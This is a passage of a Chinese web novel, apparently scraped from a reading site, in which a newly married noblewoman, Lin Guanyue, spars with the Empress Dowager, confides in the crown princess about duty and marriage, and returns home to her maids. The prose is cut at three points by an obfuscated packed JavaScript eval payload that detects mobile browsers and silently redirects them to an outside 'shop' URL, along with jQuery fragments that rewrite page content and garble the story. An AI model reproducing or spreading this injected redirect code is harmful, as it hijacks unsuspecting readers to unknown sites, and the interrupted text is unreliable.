林观月不知道他心中的想法,只是不急不缓地起身行礼,“回太后娘娘的话,此话当真。” 太后轻轻挑眉,眼神紧紧盯着林观月问:“是吗?那你那时在何处?” 林观月微微弯了唇角,说:“刚才在路上我还同二公子说,接到赐婚圣旨的时候,我正在江南的茶楼里点茶。” “哦?”这次接话的是皇后,她装了半天“空气”,听闻这话终于忍不住接话问道:“你在江南干什么?” 林观月笑嫣嫣地朝皇后也福了福身子,“回皇后娘娘的话,我自十岁起,便时常跟随我舅舅四处行商,故而一年到头,不常在京城。” 皇后闻言稍稍惊讶了一番,但也很快便接受了,点点头道:“原来如此……” 然而皇后接受,不代表太后也接受了。她蹙着眉道:“姑娘家家的不好好呆在闺阁,还到处抛头露面,成何体统!” 这话有些严厉了,连皇后听了这话,脸色也有些不自然起来,毕竟她当姑娘的时候,也是跟着老将军在西边长大的,每天骑马打架,何止是抛头露面。 然而太后没想到这一层,她只是表达着对林观月的不满。皇帝安抚的朝皇后看了一眼,随后无奈出声,“母后,这话有些重了,就是个小姑娘罢了,爱玩实属人之常情。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808323|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>祁云羡也连忙在一旁缓解气氛,“对啊祖母,不是每一个人都想您一样雍容娴雅的,不然岂不人人都是太后了?!” 太后怎会不知他的意思,可听了这话依然忍不住完了眼角,无奈的伸出食指点了点祁云羡的额头,“你啊~” 她摇摇头,打算揭过这件事,却没想到林观月出声了。 “回太后娘娘,臣妇不觉得自己有失体统。” 此话一出,刚刚被皇帝和祁云羡缓和的气氛再次冷了下来。太后瞬间板了脸,眼神冷冷地看向林观月,说:“哦?那你说说,你自己有何合乎体统的?” 祁云羡一脸焦急地看着她,但林观月依旧是那副模样,嘴角带笑,不失礼仪。 “回太后娘娘的话,民女刚刚听太后娘娘的意思,是民女出门抛头露面了,故而有失体统。但自前朝起,便有女子行商的先例,我朝太祖皇帝更是大力鼓励女子走出闺阁,行商务农,尽自己的一份力。故而臣妇认为,臣妇的行为,算不上‘有失体统’。” 林观月的话音落下,大殿已是一片安静,尤其是一旁伺候的婢女们,一个个都低着头,恨不得把头给埋在地上。 皇帝抬手拿着茶盏,一脸兴致勃勃地看着林观月,同一旁焦躁的祁云羡形成鲜明对比。 他瞥了一眼自己已经黑了脸的母后,刮了刮浮沫,抬手遮住自己微扬的唇角——第一次进宫就跟太后顶嘴,这一点气都不受的性子,真是一点没变。 “林氏。”出声的是皇后,她故作严肃地板起脸,呵斥:“你这番话,是觉得太后娘娘说的不对吗?” “臣妇不敢。”林观月态度恭谨,垂眸低头像是惶恐,只有从她的语气中透露些她真实的平静,“臣妇只是认为,太后娘娘居于后宫之中,见到的都是世家贵女,礼仪才艺无不精通,但是在大胤,还有许许多多的女子,她们可上街行商,她们也可下地耕田,若太后娘娘因为那些世家贵女们,便认为天下女子都该如此,那么对于那些凭借自己的本事谋生的女子们,该是多么可怜。一言之褒,荣于华衮;一言之贬,严于斧钺。①这世间若是连太后娘娘都不认可她们,她们又该何去何从?故而臣妇斗胆,替那些如我一般不愿困于闺阁之中的女子争辩一番。” 林观月再次跪下,双手合十跪拜在地,“臣妇大胆妄言,还请太后娘娘责罚。” 大殿中又是一阵安静,祁云羡看着匍匐在地的女子,眼神复杂。他一时,竟有些搞不懂她了……明明在马车上还同他争辩,到了这慈宁宫,却敢直面太后,说出这么一番话!真真是……找死啊…… 皇后楚明姝这次也没再开口,她望着大殿中的林观月,又是欣赏又是感慨,想当年,她也敢在这大殿内说出这么一番话,可……从何时开始,她也成为了她们需要说服的人呢? 她一时间,心情很复杂…… 皇帝放松了身子,抬手直着头,兴致盎然地看着大殿内的这一番场景。他的嘴角微微勾着,看不出是什么想法。 太后松开拉着祁云羡的手,收回腿上端坐,冷冷看着林观月道:“你的胆子很大。” 林观月头也不抬,依旧跪拜在地,“轻太后娘娘责罚。” 太后看着她,祁云羡紧张地拉了拉她的袖子,成功让一向宠他的太后瞪了他一眼。 太后轻哼一声,但也没再扯回袖子。她看向底下的林观月,声音不咸不淡道:“你的胆子确实很大,也很敢说,但……” 太后呼出一口气补充完后半句,“你说的有道理。” 祁云羡刚紧张兮兮呢,突然,诶?没事了?他还没反应过来呢,林观月的声音便从下方传来,“臣妇叩谢太后娘娘宽恕,太后娘娘千岁千千岁。” 太后看着跪拜的女人,心中还是有些郁闷,可更多的,是疑惑——一个第一次见面就敢在慈宁宫大殿上对她说出这么一番话,面对她的喜怒始终平静的女子,一看就是心眼多的,皇帝皇后非要给羡儿安排一个这样的妻子,这……真是不配啊…… 太后轻轻摇头,挥散脑中的思绪,抬手道:“起来吧。” 林观月这才起身,但不等太后再说什么,大殿门口就又传来一道琅然的声音:“可算是能进来了,皇祖母再不消气,我就要跑了。” 来人一身紫色锦袍,长相与祁骁有七分相似,但又多了几分儒雅,此刻笑着走进大殿。此人,就是当今大胤太子祁煜。 而与他一道的,还有一位端庄大气的女子,身着一身绣有折枝海棠的月白色长褙,里面搭配一条荷青色长裙,行走间裙摆浮动轻微。她梳就一头垂云髻,几根簪子点缀其间,端庄又不失优雅。此人便是太子妃,当朝礼部尚书之女——时晴雪。 夫妻二人相携进门,在大殿站定,同时行礼。 “拜见父皇、母后,拜见皇祖母。” “拜见父皇、母后,拜见皇祖母。” 祁骁抬手示意二人起身,“起来吧。” 待二人起身后,祁煜就看向祁云羡招呼道:“阿羡,好久不见。” 祁云羡同样笑着拱手一礼,笑嘻嘻说:“太子哥哥,好久不见啊,你最近忙什么呢?都不找我玩?” 祁煜无奈摇头,“你都成亲了,怎的还想着玩?” 祁云羡吐了吐舌头,随后又转向时晴雪,微微颔首,嘴甜夸赞道:“嫂嫂好久不见,你又漂亮了。”把时晴雪逗得捂嘴轻笑。 “还是阿羡嘴甜。”时晴雪说完又转向林观月,上前拉着人的手,一脸亲切道:“相比这就是阿羡的新媳妇,林二小姐吧?长得真好,同阿羡站在一起,真是郎才女貌。” 林观月不动神色地轻轻抽出手,朝祁煜和时晴雪行了一礼,“拜见太子殿下,太子妃。” “弟妹不必客气,我们今后也算是一家人。”祁煜道。 时晴雪也连忙把人拉起来,跟着附和,“太子殿下说的对,阿羡也算是我们看着长大的,你我今后也算是一家人了,就不要这般客气了。” 林观月含笑微微颔首,不语,像是默认。 “行了,来了就坐下吧。”祁骁大手一挥,让几人都坐下,“一个个站着也不嫌累。” “是。” 祁云羡也趁此机会,跟太后说:“那皇祖母我也下去坐了。” 太后还想说些什么,可看着并肩的太子夫妇,再看看一旁独自垂首端坐的林观月,最后还是摆摆手让他下去了。 祁云羡便笑嘻嘻回到了林观月身旁,路过她面前时,还冲她眨了眨眼。林观月心中微叹,却只当没看见。 ———— 【①】出自晋代葛洪《抱朴子》 12. 愧疚 祁煜看向林观月,扬起一个友好的笑容道:“刚刚在大殿外站了一阵,弟妹刚才那番话,着实让孤敬佩。” 林观月微微颔首,客气道:“殿下谬赞,那只是臣妇的一番妄言,殿下不必放在心上。” “诶?怎会是妄言。”祁煜摇摇头,说:“太祖皇帝曾经说过,‘男研女商,万民力耕,则国本固,国力兴’。女子行商务农,乃是为大胤贡献自己的力量,怎会‘有失体统’?” 说罢,又转向太后,笑盈盈道:“我听父皇说过,皇祖母年轻时,也曾大力推动女学女工,今日是怎的脾气不好,这种气话也要说了。” 他这番话说完,太后自然也不好再计较,不然就是不识大体,不把太祖皇帝的话放在心上,更何况,祁煜还将她捧了起来,给了太后台阶。 太后轻哼一声:“既然来了还不进来,反倒躲在门口偷听,太子这是从哪学的?” 太后的话并不严厉,祁煜也并不放在心上,语气带这些讨好,笑着说:“孤这不是怕触了皇祖母的霉头,不敢进来嘛!” “哼!照太子这意思,本宫岂非很可怕?” “这怎会?”太子夸张地惊呼一声,随即将求助的目光投向祁云羡,“阿羡,皇祖母最疼你快来帮我哄哄她老人家。” 祁云羡没想到还有自己的事,先是茫然了几秒,随后眨了眨眼睛,看向祁煜笑嘻嘻说:“皇祖母才没生气呢,你看她还那么漂亮,才不像生气的样子呢!” 太后听他这话,就是忍不住欢喜,跟听太子说话时完全不一样的心情,是一种发自内心的愉悦。她看着祁云羡笑骂道:“就你嘴甜!” 太子看了一眼祁云羡,随即在一旁点头附和:“果然还是阿羡更会哄皇祖母欢心,看来我还有的学,” 祁云羡得意地说:“那是。” 众人都笑了起来,林观月置身其中,看着太子的这一番互动,心中有些许惊讶——她所听闻的太子都是礼贤下士、温文尔雅的形象,今日一见,到似乎还有些调皮?还是说,只是因为在太后面前?林观月不得而知。 一行人说说笑笑,皇后余光瞥到林观月安静的模样,心中一动,看向她说:“观月啊,你第一次进宫,不如让晴雪带你出去走走,也好认认路。刚好,最近御花园的秋海棠开了,你们去看看,喜欢就摘两朵簪头上,你们年纪小,簪花最是好看不过。” 此言一出,太后略微沉吟片刻,随即也微微颔首道:“是该去认认路。”她看向时晴雪说:“带林氏出去转转,但要注意时间,别耽误用膳了。” 时晴雪起身微福,“是,皇祖母。”她转向林观月,嘴角带着笑低声对她说:“观月弟妹,我们出去走走,偷偷懒。” 林观月心中觉得好笑,微微颔首,起身随她出去,路过祁云羡时,二人互相看了一眼,但什么都没说。 直到二人的身影彻底消失,又等了片刻,太后才再次看向祁云羡,而这次的语气便要熟稔些,像是家里长辈关心小辈:“羡儿,你实话告诉皇祖母,这林氏究竟如何,她待你可好?” 祁云羡眼神迷茫,轻轻蹙眉反问:“皇祖母,林观月不是你给我选的夫人吗?怎么我觉得你不太喜欢她啊?” “怎会是我选的?!”太后下意识反驳,语气略带轻视道:“若是我选,定然会给羡儿选一个知书达礼、能帮你打理内宅的世家贵女,怎会选个落魄侯府的二房嫡女?” 听到太后这样说林观月,祁云羡微微蹙眉,心中有些不爽。但他也没反驳什么,只是又问:“不是皇祖母你选的啊?我还以为皇祖母是觉得我不学无术,特意给我选个会打理生意的有钱夫人呢?” 这番话说出口后,皇帝、皇后皆是忍俊不禁地偷笑,而太后则是一脸迷茫,还没回答就又听祁云羡问祁骁:“皇伯父,那是你给我选的?” 祁骁见问到了他头上,也不好再装傻,轻咳两声正了正神色问祁云羡:“阿羡,先不管林观月是谁给你选的,你觉得她这个人,如何?” 此言一出,其余人皆是竖起耳朵一脸好奇,就连太后也侧了侧身子目不转睛地看向祁云羡。祁云羡眨了眨眼睛,开始低头思索起来:林观月长得挺漂亮,但这不重要,又没有他漂亮;林观月好像很有钱,有点吸引人……但他们又不是真夫妻,跟他也没关系;林观月嘴皮子挺厉害,能把祁云琛气的脸发紫,这真是太厉害了! 综上所述,林观月作为一个盟友,她可是太合格了! 所以祁云羡抬起头,肯定地点点头说:“她还不错。” 此言一出,几人又是沉默了。皇后看了一眼太子,眼神带着几分询问,又有些疑惑,但祁煜轻轻摇头,皇后便也就收敛了神色。祁骁倒是挑挑眉,一脸意外地看向祁云羡,眼底的玩味兴致毫不掩饰。 而太后则是蹙了蹙眉,她的心思便有些复杂了:一方面觉得委屈了祁云羡,一方面又希望祁云羡身边有个知冷知热的人,而且现在婚事已成,祁云羡喜欢总比厌恶要好。 想通了之后,太后便定了定心神,决定以后对那丫头和善一些,不让羡儿伤心。不过,她也得敲打敲打,让她安安分分同羡儿过日子,不要想着和离什么的!但也不能太过,羡儿好不容易有个喜欢的,她得帮他撮合好。 这边几位心思良多,另一边的御花园,二人正在赏花——皇后说的没错,御花园的秋海棠确实开了,粉红紫白,团团簇簇挤在一起,却艳而不燥,反倒独有一番韵味。除此之外玉簪、紫薇、秋葵、凌霄花也都开的艳,将这御花园装点的十分美。 林观月微微落后时晴雪半个身子,二人的礼仪姿态是挑不出错的,此刻走在一起,也确实很养眼。 “以前总是听砚卿提起你,说她有个机心灵透的妹妹,只可惜一直未曾得缘相见,今日可算是见了面。”时晴雪微微偏过头,看着林观月笑着说,待触及林观月略微惊讶迷茫的眼神,便又解释道:“弟妹有所不知,我以前是大公主的伴读,所以同砚卿也算是旧相识。” 原来如此。林观月点点头没再说什么,但时晴雪又问:“弟妹是怕我吗?” 林观月疑惑反问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816875|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' :“太子妃何出此言?” 时晴雪轻笑:“只是觉得弟妹一直不说话,兴许是怕我。” 林观月嘴角扬起那抹弧度,轻轻摇头:“只是不知该说什么,怕唐突了。” “说什么都好。”时晴雪突然停下,林观月便也跟着停下,她转过身看着她说:“观月,你不必同我这么生分,虽然你我是第一次见面,但我对你早有耳闻,一直想同你认识。只是砚卿说你不常在京城,这才一直没有见面。”她拉过林观月的手,“不要叫我太子妃,叫我姐姐吧。或者随阿羡,叫我嫂嫂也行。” 林观月不明白时晴雪为何对她这般热情,但她眼神真挚,便也点点头叫了一声“嫂嫂。”时晴雪瞬间眉开眼笑,“诶”了一声。 她转过身,二人继续走,一路上,时晴雪热情同她介绍御花园的花或者讲述她、太子和林淮序的往事,林观月一直静静听着,偶尔跟着笑笑,附和两声。直到走到一个亭子前,时晴雪对她说;“走的也有些累了,不如我们去亭子里歇歇脚。” “甚好。” 二人相伴走至亭子。这亭子一看便是时常有人来此处歇脚,故而不但干净整洁,石桌上甚至放有点心茶水。时晴雪身边的侍女给她们添完茶后,林观月对她使了个颜色,随即那个侍女便快步走出亭子,在不远处站立。 林观月刚要疑惑,就听时晴雪说:“观月,我有些话想同你说。” 林观月便对侍书使了个眼色,侍书便恭恭敬敬退出来亭子,走到那个侍女身边,二人相互打了个招呼,随后各自站好。 “不知嫂嫂有什么话要同我说?”林观月问。 时晴雪手心握着茶杯转了转,像是在纠结怎么开口。林观月也不急,就这么等着,眼睛落在茶杯的纹理上,开始忍不住发呆——这辈子纹理好奇特啊…… “观月,其实……我是想向你道个歉。” 就在林观月开始思索这个杯子的产地时,时晴雪开口了,但说的话却让林观月愣了一下,一时没反应过来。 “嫂嫂为何要同我道歉?” 时晴雪看着她真心发问的模样,垂眸轻叹:“我第一次听闻你,是我还在当伴读的时候。那时……也是在这个御花园,太子身边的几个伴读坐在亭子里,像是在闲谈。我本是路过,却意外听到一句‘我虽然未曾见过大漠孤烟、长河落日,但我有个堂妹,自十岁起便随她舅舅走南闯北、四处行商,是我认识的女子里面,最为不凡的。她给我写的信里,不但有大漠孤烟直,长河落日圆。还有落霞与孤鹜齐飞,秋水共长天一色。她上次给我寄信的时候,说她准备去看海……’” 时晴雪回忆起往事,脸上不由带了些真实的、怀念的笑意,她说:“那时我便想,是怎样的女子,能够活的如此潇洒自由?我好想认识她,与她成为朋友,听她讲她见过的‘大漠孤烟’、‘长河落日’,但……” 说到这里,时晴雪眼神暗淡了下来,也带了些愧疚:“你本可以一直过那样的人生,但却因为……而不得不同阿羡成婚,困在这京城里……” 13. 凌霄 林观月听明白了,时晴雪这是愧疚。在她心里,林观月就好比一只山雀,如果说曾经的她是自由的,那么现在的她就是被关在笼子里的,而这个笼子,还是她的夫君亲手打造的,所以她才会愧疚。 但若要林观月说,其实她并没有什么不甘怨恨的情绪,甚至在接到赐婚圣旨的时候,她也只是可惜了一下,很快便接受了。因为林观月并不是一只真正的山雀。 林观月来自21世纪,她能凭借自己的能力,从一介孤女到成为世界五百强企业公司董事长,她对这世间的算计利用,是很看得开的。 这世上没有免费的午餐,你得到了什么,那你也得付出些什么。 林观月来到这个世界上,得到的是西平侯府二房嫡女这个身份,而不是什么罪犯流民,她十分庆幸。在这个封建王朝,这个身份给了她庇佑,那么终究有一天,她自然要还这份庇佑。 所以,她答应了同祁云羡成婚,为的,便是帮太子拉拢好祁云羡这个人,以及,定国公手里的军权。而这一切究其根本原因,只因西平侯府这一代兴起的希望在她二堂哥林淮序身上,而她二哥,是太子这条船上的人。 说起林淮序,林观月也不得不感慨,这西平侯府所有男子的脑子,怕是都长她二哥身上了!林淮序八岁时,便被他老师说有“卿相之姿”,而她二哥自己也有野心有抱负,凭借自己的筹谋,得到了太子伴读这个位置,在这个过程中,他那大伯甚至都不知情。对此,林观月也只能感慨他大伯命好了。 而让林观月和祁云羡成婚这件事,林观月毫不怀疑,是林淮序的主意。但这并不是说她同林淮序关系不好,恰恰相反,他们兄妹二人虽然时常互怼,但若真要算起来,他们才是这个家里最了解彼此的人。 在换个意思来说,那就是放眼整个西平侯府,他们二人,是最初的同盟者。 所以林观月理解林淮序的野心报复,并且愿意助他一臂之力;而林淮序也清楚自己妹妹的能耐,故而将她拉入这一局。因为从某种程度来说,他们的利益,是绑在一起的。 林观月缓缓摇了摇头,“嫂嫂,你不必愧疚的,这是我的选择,而非身不由己。” 时晴雪看着林观月认真的神情,一时无言,竟有些拿不准她这话是否真心。 林观月起身,来到这亭子边缘,看着御花园宫墙上赤焰灼灼的凌霄花,对一旁的时晴雪道:“嫂嫂看这凌霄花开的多好,繁英垂落、红花灼灼,但若是没了这面墙,你觉得,它还能开的这么艳吗?” 时晴雪也顺着她的目光看去,御花园西北角的红色宫墙上,苍褐色老藤盘绕蔓延而上,翠绿羽状密叶层层铺开,一簇簇橙红色的如喇叭状的凌霄花从翠绿中挤出来,艳如燃火、灿若朝霞,像是吸收了宫墙颜色,作为自己的养料。 “所以你的意思是,凌霄花只能依附墙而生,若是宫墙坍塌了,她便会枯萎吗?”时晴雪看向那片火红,眼神带着些难以掩饰的失望落寞。 “嫂嫂还是不了解凌霄花。”林观月偏过头,直视时晴雪的眼睛,说:“凌霄花的生命力其实很强,她耐旱耐贫瘠,哪怕是石缝墙隙,只要有少量水土,她便可以生长。” 林观月扭过头,再次望向那灿如红火、向上攀登的凌霄花,声音带着些低语诉说的意味:“石头、宫墙,这些不是她生长的必需品,却是她想要开的高、开的艳,必不可少的工具。在这样的皇宫里,开在缝隙里的凌霄花不会引来旁人的欣赏,只会令那些花奴们将其拔除。但若是攀着宫墙或者假山绽放,她就有了她的价值。” 她深吸一口气,将自己从刚刚的那种莫名情绪里抽出来,嘴角微微勾起,对时晴雪说:“嫂嫂,生在大胤,生为女子,我不可能一辈子不成婚,而生在西平侯府,既然享受了‘林’这个姓氏带给我的身份地位,我自然也不可能毫无回报……所以嫂嫂,同祁云羡成婚,我不委屈,这只是一场利益交换罢了。” 时晴雪看着她,听着她这番清醒的有些离经叛道的发言,神情复杂。良久,她轻叹一声:“是我小瞧了你。” 林观月微微笑了笑,客气道:“嫂嫂谬赞。” 时晴雪见她客气疏离的反应,心中叹了口气,也是无奈。她望向亭外,看着宫墙上开的艳的凌霄花,声音有些哀伤:“可你说,她真的想攀在宫墙上,每日供人观赏吗?” 林观月微微眯了眯眼,悄悄打量着时晴雪——她的眼中有股不易察觉的哀愁,是这个时代大多数女子眼中都有的那种。她收回视线,语气坚定又无情地回了句:“她必须想,否则等着她的,就只有死。” “……你说得对。” 久久无言。 待林观月和时晴雪回到慈宁宫时,时晴雪已经收拾好了情绪,除了林观月,再没人知道她今日眼角的那抹哀愁。 用膳期间,她甚至主动接话抛话,将饭桌上的气氛调解的融洽,又仔细伺候太子和皇后用膳,面对他们的夸赞羞涩笑笑,正如一个合格的太子妃该做的那样。 林观月将这一切都尽收眼底,她收回视线,无声地轻叹了口气。 “怎么了?”祁云羡离她近,敏锐地捕捉到了这声叹息,他低下头,凑近林观月小声问道。 林观月惊讶地看了他一眼,随即视线落在他嘴边的油渍上,又无奈摇摇头,拿起筷子夹了跟青菜,说:“没事。你嘴边有油。” “是吗?”祁云羡不在乎地嘟囔一声,在怀里摸了摸,没摸到帕子,就又用胳膊碰了碰林观月问:“你有帕子吗?” 林观月没好气地放下手里的筷子,从怀中拿出自己的手帕,略带无语地递给他。 好在祁云羡也没在意,他接过手帕,在手里展开看了看——这是一张竹青色的手帕,不知道用的什么料子,摸起来又软又滑,手感很好;帕子右下方绣的有几根青竹,活灵活现的,不但针脚细密,看上去好像还是双面的? 祁云羡一看便知这是特意配林观月今天这身衣服的,悄悄在心里吐槽了一句“有钱事多”,随即拿起来准备擦嘴。可刚要碰到嘴,他又放下手,看了看这精致的帕子,想了想还是放在了一旁,说了句:“还是吃完再擦吧。” 林观月听见,心中无语片刻,抬手将刚刚那根青菜送进嘴里。 而二人这番互动,自然也落在了其他人眼里,几人眼中皆是打量判断,反倒是最为尊贵的皇帝祁骁,他像是不知道众人的心思,独自吃的开心。 一场各怀心思的午膳就这么结束,随后皇帝先行离开,皇后也跟着一起,剩了几个小辈陪着太后又坐了会儿,一直到了太后的午睡时间,众人才离去。 “那阿羡,孤还有些公务,就不送你了,你照顾好弟妹。”祁煜拍了拍祁云羡的肩膀说道。 “太子哥哥客气什么,你有事就去忙,林观月有我带路呢,还能丢了不成?”祁云羡像个傻白甜一样,拍拍胸脯道。 祁煜无奈摇头,随后看向林观月说:“那弟妹,孤就先行离开。” 林观月福身恭送:“太子殿下慢走。” 太子微微颔首,转身离开了,时晴雪跟他一起,临走前看了一眼林观月,说了句:“弟妹无事便可来东宫寻我,我定备好茶水,静候弟妹的到来。” 林观月微笑:“多谢嫂嫂,我若闲来无事,定上门叨扰。” 时晴雪这才满意离开。 众人都走了,林观月直起身子,轻轻呼出一口气,看向祁云羡问:“我们也走?” “嗯。”祁云羡点点头走到她身边,二人并肩离开。 出宫的路上,祁云羡问:“你今日是不是同嫂嫂说了什么?” “嗯?”林观月惊讶于祁云羡的敏锐,故作疑问:“何出此言?” “哼!”祁云羡傲娇哼了一声,说:“你俩出去后,嫂嫂就有些不在状态,吃饭的时候你还看着她叹气,明显是你俩发生了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820665|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ?” 林观月意外地看向祁云羡,惊讶道:“你竟知道?!那你还问!” 祁云羡抱臂扬了扬下巴,说:“我问只是提醒你,可别把我当傻子。” 林观月这次是真的惊讶了,她探究的眼神看着祁云羡,将他浑身上下扫视一圈,把祁云羡看的浑身发毛。 “你着什么眼神?!” 林观月收回视线,摇摇头没有作答。短短一天下来,祁云羡多次刷新她的认知——在林观月所得到的消息里,祁云羡是个不学无术、脾气恶劣的纨绔,可一天相处下来,林观月却觉得此传言水分不少。 祁云羡或许真的是个不学无术的纨绔,但他的脾性并不恶劣,恰恰相反,他有一颗七窍玲珑心。虽然看上去傻,但实际上,却极有分寸,知道对谁该用什么态度。也知道什么话该说,什么话不该说。只是……他似乎有些过于相信自己了…… 难道就凭借他俩的那个不牢固的盟约,就能让他在林观月面前露出真实的模样?林观月有些想不通。 祁云羡看着她低头又不知在想什么的模样,蹙了蹙眉,嘟囔了句:“又搞什么……?”但最终也没再多问,毕竟他们身后还跟着一群宫人,手里抱着皇帝、太后、皇后给他们的赏赐,人多眼杂,祁云羡也不是不知轻重的人。 二人就这么并肩走着,祁云羡也不纠结她在想什么,反正经过一个地方就给她介绍介绍,对此,林观月听的极其敷衍,时不时点点头示意自己在听,反倒是跟着林观月的侍书听的极其认真,将这些都一毫不差地记在心里。而祁云羡也因为有听众,介绍的乐此不疲。 快走出皇宫时,二人听到身后传来一声有些熟悉的阴柔的声音:“二公子、二少夫人请留步!” “好像有人在叫我们?”祁云羡偏头看向林观月,二人对视一眼,齐齐回头,就见身后果然有人——陈公公摆着手,身后还跟着两个小太监,其中一个手上好似还提这个什么东西。直到到了跟前,他们才看清,是个食盒。 “陈公公,你怎么来了,可是皇伯父还有什么事?”祁云羡赶忙扶住气喘吁吁的陈公公。 陈公公摆摆手,缓了缓才说:“不是陛下,是皇后娘娘。” 只见他朝身后招了招手,那个提着食盒的小太监就将食盒递给他。陈公公接过食盒菜道:“皇后娘娘今日察觉到二少夫人在慈宁宫时似乎挺喜欢吃栗子糕,刚好她那里有个特别会做栗子糕的宫女,又恰巧她今日做了些,皇后娘娘就想着若是二位还没走,就给二少夫人送些。” 陈公公将食盒往前递了递,看着林观月的眼睛,笑道:“这不,刚好陛下也在,宫女的脚程太慢,就让我送来了。” 林观月同陈公公对视了一眼,随即微笑上前接过食盒,微微颔首:“还请公公代我谢过皇后娘娘。” “那是自然。”陈公公笑的一脸褶子,对林观月说:“皇后娘娘还说,这京城栗子糕乃是一绝,二少夫人若是喜欢,下次就可将那位宫女讨回去。” “臣妇怎好夺皇后娘娘所爱?但臣妇还是在此谢过皇后娘娘好意,还请公公代为传达。” “那是自然。”陈公公颔首,随即又看向祁云羡道:“那二公子二少夫人慢走,老奴这就不送了,还得赶紧回去复命。” “……好,好。”祁云羡傻乎乎地点点头,随后就看着风风火火而来的陈公公又带着人风风火火走了。他挠了挠头,疑惑地看向林观月问:“来一趟就为了送个栗子糕?我怎么不记得你今日吃了栗子糕?你喜欢这个?” “还行吧。”林观月收回嘴角的笑,将食盒递给侍书,转身往宫门外走去,嘴里还不忘提醒:“二公子,别纠结栗子糕了,时辰不早了,我们得回去了。” 祁云羡挠挠头,看了看林观月的背影,又看了看陈福海离去的方向,嘟囔了一句“搞什么”,随后转身向宫门外快步走去。 “喂,林观月,你等等我!” 14. 侍女 晚间,秋水苑 二人回府后,祁云羡被王妃给叫去了琼华院,此时还未回来。而林观月用完膳后,便一直在翻账本。 “小姐。”司棋脚步轻快地走进门,对林观月抱拳一礼回道:“我查清楚了,京城一共有十三家点心铺子,其中生意最好的一家,是位于城西丰阜大街上的一家名为‘九味斋’的点心铺子。” 说着,她还“嘿嘿”笑了一声,挠挠头说:“我还买了几块尝尝,味道确实不错……” 听闻此话,林观月气定神闲地翻了一页账本,嘴角微微上扬。而她身边伺候的侍书反倒微微蹙眉,对司棋训话:“司棋,小姐现在已经成婚了,不能再叫小姐了,要叫少夫人。你切记,不能再喊错,否则让旁人听了去,只会觉得少夫人没有管好手下的人。记住了吗?” 司棋最怕侍书,被这么说了一顿,也不敢傻笑了,赶紧连连点头,“我记住了,侍书姐姐,下次一定不会再叫错了。我保证!” “还有,少夫人让你出去办差,你怎能趁机去买零嘴吃?若是耽误了少夫人的事,十个脑袋也不够你砍的!”侍书严厉地看着司棋,把她吓得头也不敢抬,一旁侯着的入画见状捂嘴偷笑,又在侍书看过来的瞬间恢复一脸严肃的模样,仿佛刚刚偷笑的不是自己。 “还有……” “好了,侍书。” 侍书无奈地摇摇头,还想说什么,却被林观月打断。 只见林观月将手中那本账目合上,抬眸看向几人,嘴边带着笑,语气里带着些揶揄地对侍书说:“好侍书,你可饶了司棋吧。你瞧瞧,好好一个身材高挑的姑娘,快被你说成鹌鹑了。” 司棋闻言悄悄抬头看了一眼林观月,小声嘟囔一句“我才不是鹌鹑……”,又在侍书看过来的前一秒,快速低下头。 这一番操作把一旁的入画乐的不行,想笑又得憋着,脸都红了。 侍书看着这不靠谱的二人,只觉得心累。她说:“少夫人,您就是太惯着她们了。以往也就罢了,如今我们可是在王府!多少只眼睛盯着您,她们不上心,出了差错,其他人还不是找您的麻烦?我也是为她们好。” 这番话说完,入画也不笑了,跟着司棋一样,有些惭愧地低下头。 “侍书,你太紧张了。”林观月轻轻叹了口气道:“我知你聪明心细,许多她们看不清的事,你晓得。但是侍书,不用这么紧张,万事还有我呢。” “小姐……”侍书听着林观月这话,一时竟有些眼酸,连称呼都不叫“少夫人”了。” 她本是个农户家的女儿,家里人自小重男轻女,头胎生了她,本想直接掐死,可路过的一个和尚说她命里有兄弟姐妹,这才救了她一命。自此,她名为‘吴招弟’,每日做饭洗衣,割草喂牛。 但若只是这样,她也不觉得苦,起码有口饭吃,哪怕总是吃不饱。可自从有了弟弟后,她的父母便打算把她卖给一个屠户做童养媳,而那个屠户,已经死了三任妻子。她是偷跑出来,才碰见了林观月。 林观月花了二十两银子将她买下,不仅给她饭吃,还教她读书识字,给了她一个好听的名字——“侍书”。 书啊,多好的字,却是吴家村里的姑娘一辈子也不可能拥有的东西。 她很喜欢。 自那以后,她就再也不是“吴招弟”,她只是“侍书”。 